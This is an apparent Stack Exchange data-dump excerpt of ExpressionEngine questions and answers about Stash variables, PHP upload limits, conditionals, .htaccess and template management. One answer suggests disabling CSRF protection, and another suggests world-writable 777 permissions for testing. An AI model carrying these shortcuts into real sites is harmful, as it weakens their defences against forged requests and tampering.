  <row Id="35630" PostTypeId="2" ParentId="35628" CreationDate="2016-02-22T13:48:12.373" Score="1" Body="&lt;p&gt;Please check what is your max upload limit (post_max_size) in the php.ini file. Changes this to a larger amount will allow for bigger file upload. Also check memory_limit (Maximum amount of memory a script may consume).&lt;/p&gt;&#xA;" OwnerUserId="6684" LastActivityDate="2016-02-22T13:48:12.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35631" PostTypeId="2" ParentId="34428" CreationDate="2016-02-22T14:07:14.880" Score="0" Body="&lt;p&gt;Have you checked the Member Group Settings: Site Access (Can view site when it is online), ensure this is tick to Yes. In index.php change debug setting to 1 and see what error gets thrown on the screen.&lt;/p&gt;&#xA;" OwnerUserId="6684" LastActivityDate="2016-02-22T14:07:14.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35632" PostTypeId="2" ParentId="35128" CreationDate="2016-02-22T14:18:08.657" Score="0" Body="&lt;p&gt;Have you tried creating a .htaccess file with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType image/svg+xml svg&#xA;AddType image/svg+xml svgz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6684" LastActivityDate="2016-02-22T14:18:08.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35633" PostTypeId="2" ParentId="31871" CreationDate="2016-02-22T14:26:38.433" Score="1" Body="&lt;p&gt;For forms add a &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&lt;/code&gt; or disable it in config.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6684" LastActivityDate="2016-02-22T14:26:38.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35634" PostTypeId="2" ParentId="34393" CreationDate="2016-02-22T14:43:58.897" Score="1" Body="&lt;p&gt;have you enable the extension = fileinfo.so in your php.ini settings. Secondly the image type might not be listed in the system/expressionengine/config/mimes.php. Refer to &lt;a href=&quot;https://ellislab.com/blog/entry/fileinfo-in-2-10-0&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/blog/entry/fileinfo-in-2-10-0&lt;/a&gt; for further explanations&lt;/p&gt;&#xA;" OwnerUserId="6684" LastActivityDate="2016-02-22T14:43:58.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35635" PostTypeId="2" ParentId="33934" CreationDate="2016-02-22T14:49:33.507" Score="0" Body="&lt;p&gt;Not a good answer for site owners in Sweden I am afraid, because we found none. We are now in the process to move to Nexcess (their server in the UK).&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-02-22T14:49:33.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35636" PostTypeId="2" ParentId="35620" CreationDate="2016-02-22T15:50:57.763" Score="1" Body="&lt;p&gt;The channel ended up having custom status types so the defaults were not working. I did not make this website so I did not realize this was the case.&lt;/p&gt;&#xA;" OwnerUserId="6219" LastActivityDate="2016-02-22T15:50:57.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35638" PostTypeId="1" CreationDate="2016-02-22T21:19:56.053" Score="0" ViewCount="43" Body="&lt;p&gt;I have a new install of BrilliantRetail 1.8.0 on EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to add a new product, or edit any of the default products, I get a 500 server error.  I don't see anything relating to this in my server error log... (hosted on Nexcess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not having any issues anywhere else.  I have essentially the same configuration, version, addons etc on another site with zero issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly be causing this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE error with debug on:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&#xA;  Error Number: 1146&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Table 'bedellgu_weber_dev.exp_rte_toolsets' doesn't exist&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT &lt;code&gt;exp_members&lt;/code&gt;.&lt;code&gt;rte_toolset_id&lt;/code&gt; FROM (&lt;code&gt;exp_members&lt;/code&gt;) JOIN &gt; &lt;code&gt;exp_rte_toolsets&lt;/code&gt; ON &lt;code&gt;exp_members&lt;/code&gt;.&lt;code&gt;rte_toolset_id&lt;/code&gt; = &gt; &lt;code&gt;exp_rte_toolsets&lt;/code&gt;.&lt;code&gt;toolset_id&lt;/code&gt; WHERE &lt;code&gt;exp_members&lt;/code&gt;.&lt;code&gt;member_id&lt;/code&gt; = 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: modules/rte/models/rte_toolset_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 101&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2016-02-23T17:43:32.003" LastActivityDate="2016-02-23T17:43:32.003" Title="500 Server error in BrilliantRetail when adding/editing products" Tags="|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35639" PostTypeId="1" AcceptedAnswerId="35640" CreationDate="2016-02-23T00:41:52.820" Score="0" ViewCount="68" Body="&lt;p&gt;I am storing site settings using stash and would like to pull out the email address from stash and use it in the EE encode tag. Does anyone know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few different things. Lastly this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{encode=&quot;{exp:stash:get name='email'}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It isn't rendering the stash variable inside the encode tag. Instead, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span data-eeencemail_tzeaewnqdt=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;mailto:?subject=Information About a Home&quot;&amp;gt;Email Us&amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I set the stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- CONTACT EMAIL --}&#xA;    {exp:stash:email}{contact_email}{/exp:stash:email}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* SOLUTION *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to use this by utilizing the parse tags in stash to get around the parsing order on output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{encode=&quot;{exp:stash:get name='email'}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;    {encode=&quot;{exp:stash:get name='email'}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* BETTER SOLUTION *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even thought the above worked (Which I'm leaving in case someone didn't know about the stash parse tags), &lt;a href=&quot;https://expressionengine.stackexchange.com/users/16/natetronn&quot;&gt;@natetronn&lt;/a&gt;'s solution was much better since it uses the short syntax. Using the short syntax, it becomes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{encode=&quot;{exp:stash:email}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2016-02-23T10:23:04.020" Title="Using Stash inside of other variables" Tags="|stash|email|ee3|encode|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35640" PostTypeId="2" ParentId="35639" CreationDate="2016-02-23T01:17:53.087" Score="0" Body="&lt;p&gt;I'm not totally sure if it matters but, I see you're setting your var using the Set &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Variables#short-syntax&quot; rel=&quot;nofollow&quot;&gt;shortcut syntax&lt;/a&gt;. Try getting using the Get shortcut syntax as well i.e. &lt;code&gt;{exp:stash:email}&lt;/code&gt; That is, try not to mix syntaxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious to know if that makes a difference?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2016-02-23T01:35:00.370" LastActivityDate="2016-02-23T01:35:00.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35641" PostTypeId="1" CreationDate="2016-02-23T06:01:55.987" Score="0" ViewCount="59" Body="&lt;p&gt;I'v run into a sudden issue with CartThrob and PayPal Express in which it is giving me the following short error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;error 10004: Transaction refused because of an invalid argument. See additional error messages for details.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I'm having a hard time troubleshooting this issue because error 10004 can have a multitude of reasons for showing up but I can't find the specific issue without seeing the &quot;long&quot; error message.  Is there a way to see the &quot;long&quot; error message with CartThrob natively?  Or barring that, some way to see it through the PayPal developer site side?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2016-06-10T19:00:52.180" Title="Using CartThrob with PayPal Express (error 10004), is there a way to view long/full error messages?" Tags="|cartthrob|paypal|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35642" PostTypeId="2" ParentId="35639" CreationDate="2016-02-23T10:16:32.140" Score="0" Body="&lt;p&gt;I'll assume your variable was SET previously in the parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were you doing this by any chance?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- test: does this work? --}&#xA;{exp:stash:get name='email'}&#xA;&#xA;{encode=&quot;{exp:stash:get name='email'}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, you'll have come across a parsing 'feature' in EE whereby identical calls to the same tag causes them to be cached. What happens is that after parsing the first instance, EE replaces the subsequent instances of the tag with markers that gets replaced at the end of parsing, after other tags have been parsed. This can have the unfortunate result that markers netsed inside other tags or passed as parameters get marooned (and since this is usually what you want to do with a stash variable, it causes a problem):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- test: does this work? --}&#xA;me@mydomain.com&#xA;&#xA;{encode=&quot;M0100749435475676575675?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this article for a full explanation: &lt;a href=&quot;http://blog.ericlamb.net/2011/05/expressionengine-and-the-mystery-of-m00o93h7pq09l8x1t49chy01z5j4tt91fgfr/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ericlamb.net/2011/05/expressionengine-and-the-mystery-of-m00o93h7pq09l8x1t49chy01z5j4tt91fgfr/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop this happening you can append the word 'random' to the later instances:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- test: does this work? --}&#xA;{exp:stash:get name='email'}&#xA;&#xA;{encode=&quot;{exp:stash:get name='email' random}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.emarketsouth.com/add-ons/string-plugin/template-tags/#random-parameter&quot; rel=&quot;nofollow&quot;&gt;http://www.emarketsouth.com/add-ons/string-plugin/template-tags/#random-parameter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can access the variable as a &lt;strong&gt;placeholder&lt;/strong&gt; variable inside &lt;code&gt;{exp:stash:parse}&lt;/code&gt;, and use it as many times as you like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;&#xA;    {!-- test: does this work? --}&#xA;    {stash:email}&#xA;&#xA;    {encode=&quot;{stash:email}?subject=Information About a Home&quot; title=&quot;Email Us&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-02-23T10:23:04.020" LastActivityDate="2016-02-23T10:23:04.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35643" PostTypeId="1" CreationDate="2016-02-23T10:51:06.697" Score="1" ViewCount="64" Body="&lt;p&gt;I have channel that is called jobs which contains information about job opportunities, within that channel i would like to use the native relationship field for contacting a certain person who is a zoo_visitor member.&#xA;In the cp i can asign a person using the relationship field. Only when tempting i get no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using this code:&#xA;I tried an other, a non zoo_visitor channel, which did work. What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;jobs&quot; entry_id=&quot;89&quot;  status=&quot;not closed&quot;}&#xA;&#xA;{job}&#xA;&#xA; {contact_person}&#xA;     {contact_person:member_firstname}                               &#xA;{/contact_person}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2018-05-31T16:46:08.700" Title="Native relationship field and zoo visitor" Tags="|relationships|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35644" PostTypeId="1" CreationDate="2016-02-23T11:19:26.013" Score="0" ViewCount="73" Body="&lt;p&gt;Is there a better way to write this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == &quot;1&quot; || logged_in_group_id == &quot;6&quot; || logged_in_group_id == &quot;7&quot; || logged_in_group_id == &quot;11&quot;}&#xA;Hello Members...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.9.0&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="3335" LastEditDate="2016-02-23T12:46:04.700" LastActivityDate="2016-02-23T12:46:04.700" Title="Members only conditional" Tags="|members|conditionals|advanced-conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35645" PostTypeId="2" ParentId="35644" CreationDate="2016-02-23T12:00:02.937" Score="0" Body="&lt;p&gt;Well, you don't say what version of EE you're using, so I'm gonna assume v2, though this solution should work just fine in v3 too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the quickest method would be PHP's &lt;code&gt;in_array()&lt;/code&gt; function, which you can use in your template natively, however so that I don't give a PHP answer first here's a plugin that adds in_array to EE : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/in-array&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/in-array&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:in_array value=“2” array=&quot;1|6|7|11&quot;}'}&#xA;  Hello Members...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you rather add plugins that should get you there, you can shorten your EE tags as well, as &lt;code&gt;group_id&lt;/code&gt; will be 0 for non logged in members : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if group_id == '1' || group_id == '6' || group_id == '7' || group_id == '11'}&#xA;  Hello Members...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you're not afraid of a bit o PHP and the parse order : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.X&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( in_array( ee()-&amp;gt;session-&amp;gt;userdata('group_id') , array ( 1, 6, 7, 11 ) ) ) { ?&amp;gt;&#xA;  Hello Members...&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE v3.X&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  global $SESS; &#xA;  if ( in_array( $SESS-&amp;gt;userdata('group_id') , array ( 1, 6, 7, 11 ) ) ) { &#xA;?&amp;gt;&#xA;    Hello Members...&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2016-02-23T12:00:02.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35647" PostTypeId="2" ParentId="35626" CreationDate="2016-02-23T12:17:17.970" Score="1" Body="&lt;p&gt;An alternative answer, doesn't use any additional plugins or anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming you want a category jump list a the top (hence the categories tag pair), then the entries in a decending fashion, grouped by category, with a snippet at the top of each category right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this, what I've done is make a category loop, then use an inner entries loop to display the entries just for the outer category. Finally we use the &lt;code&gt;{absolute_count}&lt;/code&gt; tag to target just the first entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;event_calendar&quot; style=&quot;linear&quot; }&#xA;  &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path='events/show/'}&quot; /&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:categories} &#xA;&#xA;{exp:channel:categories channel=&quot;event_calendar&quot; style=&quot;linear&quot;}&#xA;  {exp:channel:entries channel=&quot;event_calendar&quot; dynamic=&quot;no&quot; category=&quot;{category_id}&quot;}&#xA;    {if category_id == &quot;7&quot; &amp;amp;&amp;amp; absolute_count == 1} &#xA;      {snippet-rodeo-intro}&#xA;    {/if}&#xA;&#xA;    &amp;lt;h2 class=&quot;event-header&quot;&amp;gt;{event_name}&amp;lt;/h2&amp;gt; &#xA;    {event_description}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2016-02-23T12:17:17.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35648" PostTypeId="2" ParentId="35644" CreationDate="2016-02-23T12:44:05.097" Score="1" Body="&lt;p&gt;To add to Blatant's comprehensive answer and keeping native without PHP...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;|1|6|7|11|&quot; *= &quot;|&quot;.logged_in_group_id.&quot;|&quot;} ... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;Advanced Conditionals&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-23T12:44:05.097" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35650" PostTypeId="1" AcceptedAnswerId="35656" CreationDate="2016-02-23T14:38:36.307" Score="0" ViewCount="72" Body="&lt;p&gt;I am trying to build out a list of categories that I need to include in the nav as well as other sections of a site. I had it done with embeds and &lt;code&gt;{exp:category}&lt;/code&gt; loops, but I would rather be able to pull what I need using stash if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create two separate lists. One will be the locations (or parent categories. The second will be the category children. I need to be able to relate the category children. This is why I have the kid's list being created using the  parent category name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting what I need by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- LOCATIONS --}&#xA;{exp:stash:set_list name=&quot;locations&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:categories&#xA;        category_group='2'&#xA;        style='linear'&#xA;        parent_only='yes'&#xA;    }&#xA;        {stash:location}{category_name}{/stash:location}&#xA;        {stash:url}{category_url_title}{/stash:url}&#xA;    {/exp:channel:categories}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- LOCATIONS KIDS --}&#xA;{exp:stash:parse}&#xA;    {exp:channel:categories&#xA;        category_group='2'&#xA;        style='linear'&#xA;    }&#xA;        {if parent_id == '0'}&#xA;            {if count &amp;gt; '1'}&#xA;                {/exp:stash:set_list}&#xA;            {/if}&#xA;            {exp:stash:set_list name=&quot;{category_name}_kids&quot; parse_tags=&quot;yes&quot;}&#xA;        {if:else}&#xA;            {if count == total_results}&#xA;                    {stash:kid}{category_name}{/stash:kid}&#xA;                    {stash:kid_url}{category_url_title}{/stash:kid_url}&#xA;                {/exp:stash:set_list}&#xA;            {if:else}&#xA;                {stash:kid}{category_name}{/stash:kid}&#xA;                {stash:kid_url}{category_url_title}{/stash:kid_url}&#xA;            {/if}&#xA;        {/if}&#xA;    {/exp:channel:categories}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can pull the locations manually, and I can pull the kids manually. What I NEED to be able to do is pull them dynamically by relationship. I tried this, but it doesn't render the kids.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name='locations'}&#xA;    &amp;lt;li class=&quot;dropdown-submenu&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}find-your-home/{url}&quot;&amp;gt;{location} &amp;lt;b class=&quot;caret-right&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;            {exp:stash:get_list name='{location}_kids'}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;{site_url}find-your-home/{url}/{kid_url}&quot;&amp;gt;{kid}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I am missing or can I not build out a dynamic list call?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-07-05T21:45:02.373" Title="Fetching a dynamic stash list" Tags="|categories|stash|ee3|nested-list|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35652" PostTypeId="1" CreationDate="2016-02-23T15:59:42.370" Score="3" ViewCount="1266" Body="&lt;p&gt;We are looking to integrate FreeForm with the new Google Recaptcha (&lt;a href=&quot;https://www.google.com/recaptcha&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/recaptcha&lt;/a&gt;), but are unsure where to begin. I was wondering whether anyone had any experience of doing this and can kindly point us in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2018-05-27T23:57:51.990" Title="Freeform and Google Recaptcha" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35654" PostTypeId="1" CreationDate="2016-02-23T16:49:45.130" Score="0" ViewCount="110" Body="&lt;p&gt;I am trying to clean up my templates after an upgrade from EE2 to EE3. Everything I delete / remove keeps reappearing on next log-in. This includes some entire Template Groups and some individual templates in other groups. How do I remove them form the system permanently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&#xA;-A&lt;/p&gt;&#xA;" OwnerUserId="7131" LastEditorUserId="7131" LastEditDate="2016-02-23T17:07:48.000" LastActivityDate="2016-06-01T10:12:41.140" Title="EE3 Remove Template Group" Tags="|templates|ee3|template-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35655" PostTypeId="1" CreationDate="2016-02-23T16:55:13.180" Score="0" ViewCount="28" Body="&lt;p&gt;Does anyone know if it's possible to get Wygwam to replace inch and foot marks (&quot; and ') with apostrophes and proper, left and right curly quote marks? So &lt;strong&gt;Don't&lt;/strong&gt; becomes &lt;strong&gt;Don’t&lt;/strong&gt; and &lt;strong&gt;&quot;This&quot;&lt;/strong&gt; becomes &lt;strong&gt;“this”&lt;/strong&gt;? I think EE does this to titles, but Wygwam doesn't seem to... Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2016-02-23T18:36:58.060" Title="Wygwam: use apostrophes and proper quote marks" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35656" PostTypeId="2" ParentId="35650" CreationDate="2016-02-23T17:24:11.680" Score="0" Body="&lt;p&gt;I think you need to take in account the fact that you're &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D#nesting&quot; rel=&quot;nofollow&quot;&gt;nesting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name='locations'}&#xA;    &amp;lt;li class=&quot;dropdown-submenu&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}find-your-home/{url}&quot;&amp;gt;{location} &amp;lt;b class=&quot;caret-right&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;            {exp:stash:get_list:nested name='{location}_kids'}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;{site_url}find-your-home/{url}/{kid_url}&quot;&amp;gt;{kid}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:stash:get_list:nested}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2016-02-23T17:24:11.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35657" PostTypeId="2" ParentId="35638" CreationDate="2016-02-23T17:33:22.517" Score="1" Body="&lt;p&gt;If its a 500 error there should be something in the log files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you turn up all of EE's debugging options? &lt;a href=&quot;https://gist.github.com/litzinger/5598641&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/litzinger/5598641&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2016-02-23T17:33:22.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35658" PostTypeId="2" ParentId="18085" CreationDate="2016-02-23T17:50:42.337" Score="0" Body="&lt;p&gt;I had the same problem, and simply adding this line immediately after RewriteEngine On sped it up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^$ /index.php [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7132" LastActivityDate="2016-02-23T17:50:42.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35659" PostTypeId="2" ParentId="35654" CreationDate="2016-02-23T18:29:43.023" Score="0" Body="&lt;p&gt;It sounds like you may have &quot;Save Templates as Files&quot; turned on but the system may not have permissions to delete the files. So when you delete the template, it is cleared out of the database, but since the templates (may not) have the correct file permissions it can’t delete the files. Therefore when you load the control panel again, the templates are recreated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It’s very permissive, but just to test, you might try setting your template file folder and all contents inside to 777.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2016-02-23T18:29:43.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
